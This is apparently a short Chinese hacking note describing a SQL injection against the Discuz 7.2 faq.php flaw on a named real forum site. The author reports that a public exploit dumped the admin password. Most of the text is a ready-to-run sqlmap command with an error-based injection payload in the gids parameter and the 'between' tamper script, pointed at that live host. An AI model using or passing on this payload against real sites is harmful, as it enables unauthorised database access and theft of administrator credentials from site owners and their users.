#1 SQL注入
Discuz7.2 faq.php sql注射：http://bbs.3737.com/faq.php
今天下午这个搞我蒙蔽了 用网上的EXP可以直接爆出管理员密码
但是用sqlmap却跑不出库 搞了好久 最后终于成功用sqlmap跑出库了
需要用的tamper脚本：between

sqlmap.py -u "http://bbs.3737.com//faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23" --tamper=between
